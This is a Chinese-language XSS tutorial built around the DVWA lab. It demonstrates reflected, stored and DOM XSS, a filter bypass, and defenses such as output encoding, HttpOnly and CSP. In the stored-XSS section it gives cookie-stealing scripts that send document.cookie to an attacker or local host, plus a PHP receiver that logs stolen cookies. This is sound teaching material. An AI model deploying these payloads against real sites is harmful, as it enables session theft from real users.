XSS 入门实战:反射型、存储型、DOM 型原理与防御(DVWA 靶场)

前置条件: 已完成 DVWA 环境搭建(参考前文 SQL 注入文章)
⚠️ 警告: XSS 可窃取用户会话和隐私,仅限本地离线靶场测试


一、什么是 XSS

1.1 一个真实场景

几年前,我负责的一个社区论坛发生过一次事故。

用户在签名档里插入了一段 JavaScript 代码。任何查看该用户主页的管理员,浏览器都会自动执行这段代码,把管理员的 Cookie 发送到了攻击者服务器。

管理员什么都没点,权限却丢了。 这就是 XSS。

1.2 核心原理

XSS(Cross-Site Scripting)跨站脚本攻击,本质是恶意脚本在受害者的浏览器中执行

类比理解:

复制代码
正常情况:
你在留言板写「你好」→ 服务器保存「你好」→ 其他人看到「你好」

XSS 情况:
攻击者写「<script>偷 Cookie</script>」→ 服务器原样保存 → 其他人看到代码并执行
→ 攻击者拿到了其他人的 Cookie

技术本质: 服务器没有对用户输入的数据进行过滤或转义,直接输出到 HTML 页面中,浏览器误以为是正常代码执行了。

1.3 漏洞分类

|-----------|-----------|------------------|--------------|-----------|
| 类型 | 缩写 | 存储位置 | 触发方式 | 危害 |
| 反射型 | Reflected | 不存储,直接在 URL 中 | 诱导用户点击链接 | 中(一次性的) |
| 存储型 | Stored | 存储在数据库/文件 | 用户访问页面即触发 | 高(持久化的) |
| DOM 型 | DOM | 前端 JavaScript 处理 | 前端解析 URL 或数据 | 中(服务端无日志) |


二、环境搭建

2.1 启动 DVWA

复制代码
docker run --rm -it -p 8080:80 vulnerables/web-dvwa

浏览器访问 http://127.0.0.1:8080

登录账号:admin / password

安全级别设置为 Low



2.2 测试前准备

XSS 测试需要观察浏览器行为,建议关闭浏览器的 XSS 过滤器(如果有)。

Firefox 设置:

  1. 地址栏输入
  2. 搜索 browser.xss_filter.enabled
  3. 设置为 false(新版 Firefox 可能已移除,忽略即可,本地靶场通常不受影响)

三、反射型 XSS 复现

3.1 找到测试模块

左侧菜单选择 「XSS (Reflected)」

页面功能:输入名字,页面显示「Hello 名字」。



3.2 测试 1:Low 级别(无过滤)

Payload:

复制代码
<script>alert('XSS')</script>

操作步骤:

  1. 在输入框输入 Payload
  2. 点击 Submit
  3. 观察是否弹出 alert 框

原理: 输入直接被拼接到 HTML 中输出,浏览器解析执行了 <script> 标签。


截图内容: 浏览器弹出 alert('XSS') 对话框的截图。
目的: 证明反射型 XSS 漏洞存在。


3.3 测试 2:Medium 级别(过滤 <script>

切换安全级别到 Medium,刷新页面。

再次输入: <script>alert('XSS')</script>
结果: 无弹窗,<script> 被移除。

绕过 Payload:

复制代码
<img src=x onerror=alert('XSS')>

原理: 服务器过滤了 script 标签,但没过滤 img 标签的 onerror 事件。当 src=x 加载失败时,触发 onerror 执行 JS。


图片内容: Medium 级别下,使用 img 标签成功弹出 alert 的截图。
目的: 展示绕过简单过滤的方法。


3.4 测试 3:High 级别(严格过滤)

切换安全级别到 High

现状: 大多数标签和事件都被过滤了。

尝试 Payload:

复制代码
<img src=x onerror=alert('XSS')>

结果: 通常无效,High 级别做了更严格的白名单或编码。

说明: 高难度 XSS 需要结合编码、特殊标签或浏览器特性,初学者了解原理即可,不必死磕 High 级别。


图片内容: High 级别下,Payload 被过滤或无反应的截图。
目的: 展示防御升级后的效果。


四、存储型 XSS 复现

4.1 找到测试模块

左侧菜单选择 「XSS (Stored)」

页面功能:留言板,输入名字和消息,永久保存并显示。


图片内容: DVWA XSS (Stored) 模块页面,显示 Name 和 Message 输入框。
目的: 展示存储型 XSS 的入口。


4.2 测试步骤

Step 1: 输入 Payload

|---------|----------------------------------------|
| 字段 | 输入内容 |
| Name | Attacker |
| Message | <script>alert('Stored XSS')</script> |

Step 2: 点击 Sign Guestbook

Step 3: 刷新页面或让其他用户访问该页面

预期结果: 每次加载页面,都会自动弹出 alert 框。


图片内容: 留言板页面自动弹出 alert 框的截图。
目的: 证明恶意脚本已存储到数据库,每次访问都执行。


4.3 危害演示(模拟)

存储型 XSS 的危害在于被动触发

模拟场景:

  1. 攻击者留言插入窃取 Cookie 的代码
  2. 管理员查看留言板
  3. 管理员 Cookie 被发送到攻击者服务器

窃取 Cookie Payload:

复制代码
<script>document.location='http://攻击者IP/log.php?c='+document.cookie</script>

⚠️ 注意: 本地测试时,请把 攻击者 IP 改成本机 IP,并确保有接收端,否则无法验证。本文仅展示原理,请勿实际发送数据。

知道原理后,自己就能在本地写一个接收端:

  • 在项目目录创建 receiver.php

    <?php // receiver.php - XSS 数据接收端

    // 记录接收时间
    $time = date('Y-m-d H:i:s');

    // 获取发送的数据
    cookie = _GET['c'] ?? _POST['c'] ?? 'No cookie'; referer = _SERVER['HTTP_REFERER'] ?? 'No referer'; user_agent = _SERVER['HTTP_USER_AGENT'] ?? 'No user agent'; ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';

    // 保存到日志文件
    log = "[time] IP: ip | Cookie: cookie | Referer: referer | UA: user_agent\n";
    file_put_contents('stolen.log', $log, FILE_APPEND);

    ?>

  • 启动php服务-使用是小皮工具,在本地windows上开启一个php的服务作为接收端

  • 插入xss代码,尝试以下两种方法都可以实现

方法1:

复制代码
<script>
  fetch('http://192.168.31.154:81/receiver.php?c=' + document.cookie)  
</script>

方法2:

复制代码
<script>
    var img = new Image();
    img.src = 'http://192.168.31.154:81/receiver.php?c=' + document.cookie;
    // 甚至不需要把 img 添加到文档中,请求就会发出
</script>

替换说明:192.168.31.154 换成你的实际 IP。

如果输入框Message无法输入全部的代码,修改代码,就可以正常输入

  • 验证接收
    1. 提交 Payload
    2. 刷新留言板页面(触发 XSS)
    3. 查看 stolen.log 文件

五、DOM 型 XSS 复现

5.1 找到测试模块

左侧菜单选择 「XSS (DOM)」

页面功能:选择语言。


图片内容: DVWA XSS (DOM) 模块页面,显示语言选择下拉框。
目的: 展示 DOM 型 XSS 的入口。


5.2 测试步骤

原理: 漏洞不在服务端代码,而在前端 JavaScript 解析 URL 参数时未过滤。

Payload:

复制代码
#<script>alert('DOM XSS')</script>

操作步骤:

  1. 在 URL 末尾添加 Payload
  2. 完整 URL:http://127.0.0.1:8080/vulnerabilities/xss_d/#<script>alert('DOM XSS')</script>
  3. 回车访问

预期结果: 弹出 alert 框。

关键点: 这个请求不会发送到服务器(# 后面的内容浏览器不发送),所以服务端日志里看不到攻击痕迹。


图片内容: 浏览器地址栏包含 Payload,且弹出 alert 框的截图。
目的: 展示 DOM 型 XSS 的特征(URL 片段执行)。


六、防御方案

6.1 输出编码(最有效)

原理: 将特殊字符转换为 HTML 实体,浏览器显示为文本而不是执行代码。

PHP 示例:

复制代码
// ❌ 危险写法
echo "Hello " . $_GET['name'];

// ✅ 安全写法
echo "Hello " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

转换效果:

|-----|----------|
| 字符 | 编码后 |
| < | &lt; |
| > | &gt; |
| " | &quot; |
| ' | &#x27; |
| & | &amp; |


6.2 输入校验

原理: 只允许预期的字符通过。

复制代码
// 只允许字母和数字
$name = preg_replace('/[^a-zA-Z0-9]/', '', $_GET['name']);

局限性: 只能作为辅助防御,不能替代输出编码。

原理: 设置 Cookie 的 HttpOnly 属性,禁止 JavaScript 读取。

复制代码
setcookie('session_id', $value, [
    'httponly' => true,  // 禁止 JS 访问
    'secure' => true,
    'samesite' => 'Strict'
]);

效果: 即使存在 XSS,攻击者也无法通过 document.cookie 窃取会话 ID。

6.4 内容安全策略(CSP)

原理: 告诉浏览器只允许加载特定来源的脚本。

HTTP 响应头:

复制代码
Content-Security-Policy: default-src 'self'

效果: 即使注入了 <script>,如果来源不在白名单内,浏览器会拒绝执行。


七、DVWA 不同级别对比

|----------------|---------------------|--------------------|
| 级别 | 防御措施 | 是否可绕过 |
| Low | 无防御 | ✅ 可攻击 |
| Medium | 过滤 <script> 标签 | ⚠️ 可绕过(事件 handler) |
| High | 过滤大部分标签和事件 | ⚠️ 难绕过(需编码/特殊技巧) |
| Impossible | 输出编码 + Token + 严格校验 | ❌ 无法绕过 |


八、自查清单

每次发布涉及用户输入显示的功能前,过一遍这个单子:

  • 所有用户输入输出到 HTML 时是否做了编码(htmlspecialchars)?
  • 输出到 JavaScript 变量时是否做了转义?
  • 输出到 URL 参数时是否做了 URL 编码?
  • Cookie 是否设置了 HttpOnly 属性?
  • 是否配置了 CSP 响应头?
  • 是否避免了将用户输入直接用于 innerHTMLeval()
  • 富文本编辑器是否使用了白名单过滤(如 DOMPurify)?

九、常见问题 Q&A

Q:XSS 和 CSRF 有什么区别?

A:

  • XSS:利用网站漏洞,在用户浏览器执行脚本(信任用户浏览器)。
  • CSRF:利用用户身份,伪造请求发送给网站(信任用户 Cookie)。
  • 关系:XSS 可以绕过 CSRF 防御(因为能读取 Token)。

Q:为什么我的 Payload 不弹窗?

A:检查几点:

  1. 浏览器是否有 XSS 过滤器
  2. 特殊字符是否被 URL 编码(尝试手动输入)
  3. 上下文环境(是在标签内、属性内还是 JS 内)

Q:HttpOnly 能防御 XSS 吗?

A:不能。HttpOnly 只能防止 Cookie 被窃取,不能防止 XSS 执行其他恶意操作(如篡改页面、钓鱼)。防御 XSS 必须靠编码。

Q:现代框架(Vue/React)安全吗?

A:相对安全。它们默认会对数据进行转义。但使用 v-htmldangerouslySetInnerHTML 时依然会有风险。

Q:如何检测自己的系统有没有 XSS 漏洞?

A:

  1. 在所有输入框输入 <script>alert(1)</script>
  2. 提交后观察页面是否原样显示或执行
  3. 使用工具如 OWASP ZAP 扫描(仅限授权)

十、XSS vs 其他漏洞对比

|----------|------------|-----------|------------------|
| 对比项 | XSS | SQL 注入 | CSRF |
| 攻击目标 | 用户浏览器/会话 | 数据库 | 用户身份 |
| 利用条件 | 输入未编码输出 | 字符串拼接 SQL | 用户已登录 |
| 防御核心 | 输出编码 + CSP | 参数化查询 | Token + SameSite |
| 危害程度 | 高(窃取会话/钓鱼) | 高(数据泄露) | 中(非自愿操作) |


十一、写在最后

XSS 是 Web 安全中最常见的漏洞之一。虽然原理简单,但变种极多。

核心要点:

  1. 永远不要信任用户输入
  2. 输出到 HTML 必须编码
  3. Cookie 设置 HttpOnly
  4. 使用 CSP 作为纵深防御

建议把自己系统的评论、搜索、个人资料展示等页面全部过一遍,确认都有正确的编码处理。

下期会继续介绍常见的漏洞、然后会讲解工具的使用.....


免责声明: 本文所有内容仅供学习与授权测试使用,未经授权的攻击行为属于违法,请务必在法律允许范围内进行安全研究。

相关推荐
Coovally AI模型快速验证2 小时前
仅凭单目相机实现3D锥桶定位?UNet-RKNet破解自动驾驶锥桶检测难题
数码相机·学习·yolo·目标检测·3d·目标跟踪·自动驾驶
詩不诉卿2 小时前
Zephyr学习之mcuboot的最简单使用记录
学习
MOON404☾2 小时前
R语言EDA学习笔记
笔记·学习·数据分析·r语言·eda
Shining05962 小时前
CPU 并行编程系列《CPU 性能优化导论》
人工智能·学习·其他·性能优化·infinitensor
文刀竹肃2 小时前
SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)
安全·web安全·网络安全
sealaugh322 小时前
react native(学习笔记第一课)环境构筑(hello,world)
笔记·学习·react native
Wcbddd2 小时前
OpenClaw自动化渗透测试初试牛刀
运维·web安全·自动化·好靶场·好靶场wp
菜菜小狗的学习笔记2 小时前
黑马程序员java web学习笔记--后端进阶(三)Maven高级
java·笔记·学习